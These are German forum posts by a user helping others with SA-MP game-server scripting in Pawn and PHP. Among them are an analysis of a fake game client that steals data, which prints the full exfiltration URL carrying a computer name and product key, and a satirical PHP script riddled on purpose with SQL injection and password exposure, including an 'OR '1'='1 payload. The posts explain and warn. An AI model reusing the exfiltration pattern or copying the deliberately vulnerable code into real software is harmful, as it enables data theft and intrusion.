Beiträge von SBIKA

    Ist doch logisch das jeder User auch bei seinem Server Spieler Kicken und Bannen Kann


    Korrekt - bei SEINEM (eigenen) Server, aber doch nicht jeder Spieler bei jedem Server.


    Ok man du bist echt ein bisschen verwirrt was das angehet isnstalliere es auf einem Apache und Teste es man kommt unter mode=admin nur auf seinem server wenn man nihct eingeloggt ist kommt man zum login panel!


    Ok. Wenn man meint ich sei verwirrt, dann kann ich auch nicht helfen. Zumindest habe ich es versucht die Sicherheitsluecke zu erklaeren.


    Falls man, doch noch den von mir gezeigten Code ausprobieren sollte und feststellen sollte, dass die Datei 'thisFileMayNotExist.exists' erstellt wird, trotz, dass eine Location-Redirection angewendet wird und was das fuer den mode=admin code bedeutet habe ich einen Problemloesungsvorschlag in meinem ersten Beitrag vorgestellt.

    Du kansnt es doch so machen:
    OnPlayerCommandText(playerid, "/timestamp");


    Funktioniert so nicht. OnPlayerCommandText = server seitig. Es wird nicht den Client dazu bringen den Text dem Server zu senden, oder den Client dazu anzuweisen die Timestamp funktion aufzurufen.
    Sicher, dass der Server nicht einfach manuell einen Timestamp vor dem Chat einfuegt? Denn soweit ich weiss gibt es keine Server seitige Funktion, die den Client dazu bringen koennte die timestamps zu deaktivieren/aktivieren.

    aber nicht er meine ich brüchte ein Full- samp client dafür aht er den link (http:// - sa-mp.no-ip - .org/ [SBIKA: malware - nicht ausfuehren!]) gepostet aber ich denke das ist nur verarsche oder?


    Allerdings. Es handelt sich um eine exe mit 14MB muell im Anhang hat. Ausserdem ist es kein nsis installer (wie sa-mp ihn benutzt), sondern eine normale Exe.
    Die exe ist ein script-kiddy tool, was (woertlich) kinderleicht zu konfigurieren ist. Serverseitig laeuft ein einfaches joomla-get-syntax-basiertes script (get parameter, wie bei joomla, muss aber nicht umbedingt ein joomla script sein) und client seitig wird die registrierungsseite mit den Informationen aufgerufen, die gestohlen werden sollen.
    (Lediglich vermutungen darauf basierend, was ich ueber die exe bis jetzt herrausgefunden habe - saemtliche Informationen koennten auch falsch sein, sind sie aber meine Meinung nach nicht, da vieles darauf hinweist, dass es das Programm ist, welches ich vermute.)


    Edit:
    Das programm wird die gesammelten Daten an http://www.hubbzo.bplaced.net/index.php uebergeben.


    Hier details. Am Ende der Seite sieht man die Daten, die eventuell geklaut werden:

    Code
    http://sellingtechnologies.com/newsite/logs/joomla/?action=add&a=4&c=COMPUTERNAME&u=-&l=Microsoft%20Windows%20XP%20Professional&p=K8QV4-X3PXT-J8X6C-V7GK7-HYPMM


    action = "add" (bei dem mir vorliegenden phpquellcode gibt es auch ein "test", welches anzeigt, ob bereits ein Opfer in der Datenbank eingetragen wurde.. was bei diesem script kiddy der fall ist.. schade, wenn es jemand tatsaechlich ausgefuehrt hat - die meisten Anti-Virus programme schlagen bei diesem programm sofort alarm)
    a = nummber zwischen 0 und 18
    c = computername
    u = url (?)
    l = produkt
    p = produkt key (strlen mindestens 3)
    dazu werden IP und Datum gespeichert. Alles in einer SQL-tabelle. Der php quellcode der mir vorliegt ist aber gegen moegliche SQL-injektionen geschuetzt und das password, sowie username fuer admin zugriff sind hardcoded.
    Eventuell koennte ein abuse-report bei no-ip und bplaced helfen, damit script-kiddy sein spielzeug verliert.

    Dann ist mir noch aufgefallen, dass in:
    [PHP] /* AdminPage */
    elseif($_GET['mode'] == 'admin')[/PHP]


    Du solltest dir das Script lieber genauer anschasuen und nicht nur drüberfligen damit ist die Server Admin Page gemeint sprich die Verwaltungs Seite (bzw. Später in der v1.3 auch die Console die Admin Page Hat ein anderen Mode: "index.php?mode=adminpanel" und dort drunter ist eine Abfrage ;D


    D.h. du hast mit absicht den Code so gestaltet, dass jeder den mode = admin nutzen darf? Jeder darf also soviele Leute kicken/bannen, server neustarten, filterscripts laden/entladen und alle anderen RCON commands verwenden, wie er will?

    Sorry aber was meinst du damit ;C !?!


    Du fuegst direkt die vom Client ausgehenden Daten in die query ein. Ein geschickter Nutzer koennte das ausnutzen und dir einen netten Nutzernamen uebersenden, der z.B. deine Datenbank unbrauchbar macht. "(Username like '".mysql_real_escape_string($_POST['username']) sollte bereits ausreichend sein, um das zu verhindern.

    Habe mir mal die Veraenderungen angesehen und was ins Auge sticht ist:
    [PHP] $sql = "SELECT ".
    "* ".
    "FROM ".
    "Users ".
    "WHERE ".
    "(Username like '".$_REQUEST["username"]."') AND ".
    "(Password = '".md5 ($_REQUEST["password"])."')";
    $result = mysql_query ($sql);[/PHP]
    Beim eingeloggten Admin ist es schon fast egal, dass dort ebenfalls eine Sicherheitsluecke ist, der ist Admin, der darf soviele SQL-Injections machen, wie er will, aber beim Login ist das schon eine andere Sache.


    Dann ist mir noch aufgefallen, dass in:
    [PHP] /* AdminPage */
    elseif($_GET['mode'] == 'admin')[/PHP]
    eine Ueberpruefung fehlt, ob der Nutzer ein admin ist. Das original script hat, wie mir gerade im Vergleich auffaellt, gar keine ueberpruefungen, ob der Nutzer berechtigt ist die Seite zu nutzen. Du muesstest das Script also auch an den Original-script teilen anpassen, oder, was noch einfacher ist, ein exit() in checkuser.php nach header("Location: index.php?mode=login") einfuegen. Das sollte das Problem beheben, da danach ContentCore() nicht mehr ausgefuehert werden kann, wenn die session nicht gesetzt ist und auch die login seite nicht aufgerufen wird.

    1. Falscher Bereich
    2. Es wird dir sicherlich niemand helfen eine Urheberrechtsverletzung zu begehen, da musst du dich schon selber strafbar machen..


    (Ich nehme mal an, dass du nicht der Ersteller von dem Bild bist, sonst koenntest du es ja selbst bearbeiten.)

    Was ist so schlimm daran wenn man in einen Media Markt geht und einfach mal ein Spiel klaut? Denk mal scharf nach


    In beiden Faellen ist nichts schlimm daran, wenn man genuegend/zuviel Geld fuer Gerichtskosten hat, kein Mitgefuehl mit dem bestohlenen und kein Problem mit Geldstrafen, oder eventuell sogar Freiheitsstrafen hat. :P

    Mein Weg ist viel schneller:
    * In Unsere DLL rufen wir die Funktion so auf: "SendChat("/buyweapon AK47")";
    1) Funktion Kopiert den string in einem register.
    2) callt die SendCommand funktion und sendet den Befehl aus dem register sofort zum server.


    Die ein oder zwei Frames die man dabei spart, wenn man die samp send-chat Funktion direkt aufruft machen einen Keybinder auch nicht viel besser. (Vielleicht, wenn man sowieso nur sehr wenige FPS hat.)



    Er sagt also "Mein Weg ist viel schneller"? Schade, dass wir seinen Weg nicht zu gesicht bekommen, oder ist sein weg copy&paste & sein namen drunter setzen?
    Der Code ist naemlich eindeutig vom mod_sa source code (addSayToChatWindow in samp.cpp).
    Ist soweit ich weiss ein Lizenzbruch der GPL, wenn man keine korrekte Quelle angibt, oder sogar Teile einfach als sein eigen ausgibt.


    Moin, hab mal n bisschen in GTA rumgestöbert und siehe da ich habe einen schnelleren weg gefunden CMD's vom Client zum Server zu senden. (Normale Text funktionieren bis jetzt noch nicht)

    Er meinte wohl im mod_sa quelltext rumgestoebert. Ganz zu schweigen davon, dass es technisch mit GTA selbst recht wenig zu tun hat.


    Ich grabe den das alte Thema nochmal aus, ich habe lange nach so einer lösung gesucht weiß jemand wie man das in Visual Basic macht?


    Du muesstest entweder deinen Assembly code in den gewuenschten Prozess schreiben, wo er auf jeden Fall aufgerufen wird, was aber einiges an Assembly kenntnissen erfordert, oder eine DLL in den Prozess injezieren.
    Nur mit Visual Basic ist eine Umsetzung meinem Kenntnisstand nach nicht moeglich, denn selbst, wenn deine VB-DLL in dem Prozess ist kannst du nicht so einfach aus deiner virtuellen Umgebung raus und (nicht exportierte) Funktionen einer anderen Datei aufrufen. Daher waere es um einiges leichter eine DLL in einer Sprache zu schreiben, die nicht interpretiert wird, sondern direkt in OP-codes umgewandelt wird und die gewuenschten operationen durch diese DLL ausfuehren zu lassen.
    Noch einfacher waere natuerlich die Benutzung von mod_sa, da der oben gezeigte Code ja auch von dort ist und man dort nur die ini-datei umaendern muss, um die chat funktion zu nutzen (wobei, wie bereits gesagt die zeit ersparnis im Vergelich zu z.B. autohotkey nicht sonderlich gross ist).


    Lt. offiziellen sa-mp wiki ist die maximale zahl = parameter1 - 1. Daher ist die spanne, wenn du random(2) machst von 0-1.
    zahl sollte = random(3) sein.

    weiß ich nicht, wie ich auf dieser neuen Seite (startseite.php) abrufen kann, ob der Spieler eingeloggt ist, und unter welchem Namen der eingeloggt ist


    Code
    setcookie("name",$_GET['getvar']);
    
    
    => $_COOKIE['name']


    Cookies sind fuer den Zweck eine denkbar schlechte Idee. Verwende lieber die von PHP zur Verfuegung gestellten sessions. Die verwenden zwar auch cookies, aber sind sicherer, da die eigentlichen Daten auf dem Server gespeichert werden und nicht vom Client ausgelesen und veraendert werden koennen. Bis auf die session-id selbst, welche vom Client uebergeben werden soll ist damit alles Serverseitig. Wenn man dann auch noch session_regenerate_id nach dem login und session_destroy nach logout verwendet sollte das System besser, nicht vollstaendig, gegen session-hijacking geschuetzt sein.

    ocmd:joinjob(playerid,params[])
    {
    if(IsPlayerJob(playerid,0)==0)
    return SendClientMessage(playerid,COLOR_ROT,"Du kannst nur einen Job zur selben Zeit haben!");


    if(IsPlayerInRangeOfPoint(playerid,5,2305.3315,1924.4269,10.9244,179.1598))
    SetPVarInt(playerid,"Job",6);
    else if(IsPlayerInRangeOfPoint(playerid,5,2158.8188,936.2079,11.1016,93.4247))
    SetPVarInt(playerid,"Job",1);
    else if(IsPlayerInRangeOfPoint(playerid,5,2854.7942,2619.7424,10.8203,180.7163))
    SetPVarInt(playerid,"Job",3);
    else if(IsPlayerInRangeOfPoint(playerid,5,1931.1077,2441.7000,11.1782,252.1202))
    SetPVarInt(playerid,"Job",2);
    else if(IsPlayerInRangeOfPoint(playerid,5,2216.3286,1838.2637,10.8203,4.3506))
    SetPVarInt(playerid,"Job",4);
    else if(IsPlayerInRangeOfPoint(playerid,5,1920.8127,172.5458,37.2677,22.9508))
    SetPVarInt(playerid,"Job",5);
    else
    return SendClientMessage( .. "Sie muessen an einer Firma sein um einen Job zu bekommen." ..);
    SendClientMessage( .. "Sie haben nun einen Job." .. )
    return 1;
    }
    So duerfte es korrekt sein, wenn IsPlayerInRangeOfPoint so viele parameter zu laesst und jobid 0 = joblos ist.

    Gibt es nur die maximale oder kann man auch die minimale zahl eingeben?


    Die minimale ist 0, wenn du die veraendern willst kannst du ja immer noch das Ergebnis von random() veraendern. (Z.B. random(64) + 32, wenn das Ergebnis von 32 bis 95 gehen soll.)

    Du hast eine '}' zuviel und damit auch das return 1; eine '}' zu spaet.
    Wenn dein Code bei dir genau so 'gut eingerueckt' ist, wie er hier steht ist es nichts verwunderliches, dass du das nicht selbst erkannt hast.

    Ich habe einen stock, der abfragt, welchen Job der Spieler hat:

    Code
    stock IsPlayerJob(playerid,jobid)
    {
    	if(GetPVarInt(playerid,"Job")==jobid)return 1;
    	return 1;
    }


    Gehen wir doch allle moeglichkeiten durch.
    - Jobid entspricht der pvar "Job" = return 1
    - Jobid entspricht nicht der pvar "Job" = return 1
    sieht korrekt aus.


    Dann mein Befehl damit man in einen Job halt reinkommt:


    Wenn job id 0 = kein Job ist, dann solltest du bei der ersten if Abfrage "IsPlayerJob(playerid,0) == 0" nutzern, sofern deine IsPlayerJob denn jemals 0 zurueckgeben sollte ;)
    Du kannst keine Befehle zwischen if() und elseif() nutzen. Ausserdem ergibt der code recht wenig sinn:

    Code
    Bsp mit position 2158, 936, 11 (wozu der letzte parameter bei IsPlayerInRangeOfPoint?)
    diese Abfrage ergibt false und die funktion beendet mit der SendClientMessage.
    		if(!IsPlayerInRangeOfPoint(playerid,5,2305.3315,1924.4269,10.9244,179.1598)) return SendClientMessage(playerid,COLOR_ROT,"Du bist nicht in der Nähe von einem Job!");
    		SetPVarInt(playerid,"Job",6);
    Diese Abfrage soll erreicht werden, da wir ingame an der position sind, wird sie aber nie, da bereits die Funktion bei der letzten abfrage beendet wurde.
    		else if(!IsPlayerInRangeOfPoint(playerid,5,2158.8188,936.2079,11.1016,93.4247)) return SendClientMessage(playerid,COLOR_ROT,"Du bist nicht in der Nähe von einem Job!");
    		SetPVarInt(playerid,"Job",1);
    	}
    }

    Ja aber das was du für 10 Euro anbietest kann man umsonst bei Mr.Monat Tutorials lernen :)


    Die ganzen Informationen, die ein privat-lehrer einem beibringen kann, kann man meistens umsonst bekommen, in dem man sich selbst bemueht. Das ist doch normal..

    Mein Problem ist wenn ich mein Richtiges Passwort eingebe dann komm da FalschesPasswort wenn ich ein Falsches Passwort eingebe kommt da Richtiges Passwort.
    Code:
    ...if(strcmp(inputtext,SpielerInfo[playerid][pKey],false))


    Strcmp gibt 0 zurueck, wenn die beiden angegebenen strings gleich sind. Daher sollte die abfrage 'if(strcmp(...) == 0)' oder 'if(!strcmp(..))' lauten.


    Zitat

    Wenn ich mich Registrieren will dann Spawne ich und Falle in der luft oder ich Spawne erst garnicht.
    Da kommt dann auch nicht der Dialog ob ich das Tutorial angucken will oder so.....


    Unter OnPlayerRequestSpawn() pruefen, ob der Spieler bereits registriert ist und wenn nicht return 0. Mit return 0 unter OnPlayerRequestSpawn wird das spawnen verhindert. Wenn sich der Spieler eingeloggt/registriert hat kannst du ihn ja manuell mit SpawnPlayer() spawnen. (Vorher nicht vergessen die SpawnPosition zu setzen.)

    Er nimmt nur .png Bilder wahr...


    Wenn man nach diesem Code nach urteilt..


    Wäre besser wenn es mit MySQL verbunden wäre..


    PHP verfuegt ja ueber mehr ImageCreate funktionen um Bilder zu laden, als nur die fuer PNG.
    Zu dem Vorschlag mit dem MySQL habe ich mal ein absolut sicheres beispiel erstellt, wo ein Bild mit Daten aus einer MySQL datenbank gefuellt wird und als jpeg ausgegeben wird.
    Sind auch einige Kommentare bei, die erlaeutern, wie absolut sicher das ganze ist und was gemacht wird. (Eigentlich ist fast das ganze Script ein einzig nutzlose Kommentar :P )


    [PHP]<?php
    /** Signature.php
    * A totally secure signature php script for your MySQL based (player or anything else) system.
    * Created and copyright by SBIKA
    * By using, changing or distributing this work or any derived work you are agreeing to the "IDontGiveADamn License 1.0"
    * which should be included in this file and may not be removed as long as it is applied to this file.
    * 29th September 2011
    **/
    /*
    IDontGiveADamn License
    Version 1.0, 29th September 2011


    Copyright 2011 by SBIKA.
    Anyone who wants to distribute or use this license is allowed to do so.
    It is prohibited to change this license or parts of it.


    Definitions
    "The license", "this license" or simply "license" refers to the
    IDontGiveADamn License Version 1.0 from the 29th September 2011.


    License Conditions
    Any work licensed under this license has to include the license in it's
    complete form, or explicitly state that it is released under this license
    and where the complete license document can be obtained from.


    By using, changing or releasing the work licensed under the license
    or parts of it you are agreeing to this license.
    Anything released under this license can be changed and distributed with
    or without the changes made to it. If the original author of the work
    is mentioned within the work or part of it and changes were made
    to the work the word ' (changed)' needs to be placed behind the name
    of the original author. The space infront of the word 'changed' and the
    two brackets surrounding it should be considered part of the word.


    Removing this license from a work licensed under it works by removing
    the license including all references to it.
    After removing the license from the work the original author of the work
    may not be named in relation to the work and if the name was mentioned
    within the work it has to be removed from it.


    End of IDontGiveADamn License Version 1.0 from the 29th September 2011
    */
    // SQL Connection data
    $SQL_HOST = 'localhost';
    $SQL_USER = 'samp_server';
    $SQL_PASS = 'ohnothatisntmyrealpassword';
    $SQL_DB = 'samp_database';

    // Table name
    $SQL_PLAYER_TABL = 'samp_players';
    // Column in which the player name is
    $SQL_PLAYER_NAMECOL = 'SpielerName';


    if ( !isset($_GET['u']) )
    exit( 'Please define \'u\' parameter as username.' );

    $username = $_GET['u'];


    // Connect to database
    $msql_conn = new MySQLi( $SQL_HOST, $SQL_USER, $SQL_PASS, $SQL_DB );
    if ( $msql_conn->connect_error )
    {
    //printf( 'SQL connection error.' );
    // making this secure by allowing others to see the SQL data and the error message
    // maybe there is a friendly fella that will debug the SQL server for us if he manages to connect
    printf( 'Failed to connect to host %s with user %s (password %s) to database %s. Error: %s<br>',
    $SQL_HOST, $SQL_USER, $SQL_PASS, $SQL_DB, $msql_conn->connect_error );
    exit();
    }


    // Query to receive the player data
    $query = sprintf( 'SELECT * FROM `%s` WHERE `%s` = \'%s\';', $SQL_PLAYER_TABL, $SQL_PLAYER_NAMECOL,
    //$msql_conn->real_escape_string($username) );
    // making this secure by allowing sql injections, so people can create their accounts without
    // having to join the server, or change their virtual money without having to cheat on the server
    // and risk to get banned
    $username );
    $query_result = mysqli_query( $msql_conn, $query );


    // Check if the query result is valid
    if ( !$query_result )
    $error = 'Query failed. ' .$msql_conn->error;
    if ( !isset($error) && $query_result->num_rows == 0 )
    $error = 'No user with that name.';
    // Making this more secure by showing the first user (usually Admin) when more than
    // one user was found instead of showing a lame error message. So someone else can
    // be admin for some time when they did some sql injection that would be showing
    // more than one user. ( The username 'OR '1'='1 is the username of your admin
    // isn't it? )
    //if ( !isset($error) && $query_result->num_rows != 1 )
    // $error = 'Too many users with that name. LOL';
    if ( isset($error) )
    {
    $msql_conn->close();
    exit( $error );
    }

    // create the image (from existing image or a blank one)
    //$img = imagecreatefrom..("...");
    $img = imagecreate( 300, 100 );
    if ( !$img )
    {
    $msql_conn->close();
    exit( 'Failed to create image' );
    }
    // comment the following row, if you used imgecreatefromjpeg/png/..()
    $img_bg_color = imagecolorallocate ( $img, 255, 255, 255 );
    $text_color = imagecolorallocate ( $img, 0, 0, 255 );

    // create string with the userdata we want to have on the picture
    $result_obj = $query_result->fetch_object();
    // making this secure by showing others the password of the selected player
    $pictureString = sprintf ( 'Name: %s\nUserlevel: %s\nMoney: %d\nPassword: %s', $result_obj->SpielerName,
    ($result_obj->Admin > 0) ? 'Admin':'Member', $result_obj->Geld, $result_obj->Passwort );


    // need to manually explode the string at the "\n"s and change the yOffset
    // manually with each new line. Imagestring() would just print the '\n' as a character instead of changing row.
    $pictureStringExpl = explode ( '\n', $pictureString );
    reset( $pictureStringExpl );
    $yOffset = 15;
    foreach ( $pictureStringExpl as $textrow )
    {
    imagestring ( $img, 5, 15, $yOffset, $textrow,
    $text_color );
    $yOffset += 15;
    }
    // Output jpeg image
    header ( 'Content-type: image/jpeg' );
    imagejpeg ( $img );


    // close mysql connection and destroy created image
    $msql_conn->close();
    imagedestroy ( $img );


    ?>[/PHP]

    if (strcmp("/wank", cmdtext, true) == 0)
    {
    LoopingAnim(playerid, "ON_LOOKERS", "wave_loop", 4.0, 1, 0, 0, 0, 0); // Wave
    return 1;
    }


    wave_loop ist aber nicht korrekt. Korrekt ist 'wank_loop' in 'PAULNMAC'. In /stop kann man auch die special action auf 'SPECIAL_ACTION_NONE' setzen, um auch die special action zu stoppen.
    In folgendem Thread sind einige Animationen aufgelistet mit commands: http://forum.sa-mp.com/showthread.php?p=1353381


    Aber sagen wir mal es sind grade 50 User auf den server die Letzte id ist ID 50 dann nach 10 minuten habe ich nur noch 10 User drauf und die Letzte ID ist immer noch 50 dan ruft er ja nicht mehr die id 50 ab oder teuche ich mich da ?


    Das ist so wie ich das sehe korrekt. Des weiteren wird der Code 500 mal durchlaufen (MAX_PLAYERS mal), denn der einzige Teil des Codes, der mit PlayerCount ueberhaupt verglichen wird bleibt immer der gleiche. Damit ist der Code ziemlich unnuetz, denn das sollte ja eigentlich vermieden werden.


    Habe es mal etwas ueberarbeitet. Kann aber noch verbessert/optimiert werden. So waere '_ForAllCount_++;' eigentlich nicht noetig, aber eine Moeglichkeit, die ich vorher hatte haette die '{' nach dem else gehabt und damit den Code bei nutzung von ForAll() etwas unuebersichtlicher gemacht.
    // Parameter = Zaehler Variable, sollte = 0, oder playerId des spielers mit niderigster Id sein
    #define ForAll(%0) for(new _ForAllCount_ = PlayerCount; _ForAllCount_ > 0 && %0 < MAX_PLAYERS; %0++ , _ForAllCount_-- ) \
    if ( !IsPlayerConnected(%0) ){ _ForAllCount_++; continue; } \
    else


    Bsp.:
    new playerid = 0;
    ForAll(playerid)
    {
    playerid ist ein mit dem Server verbundener Spieler (valid)
    }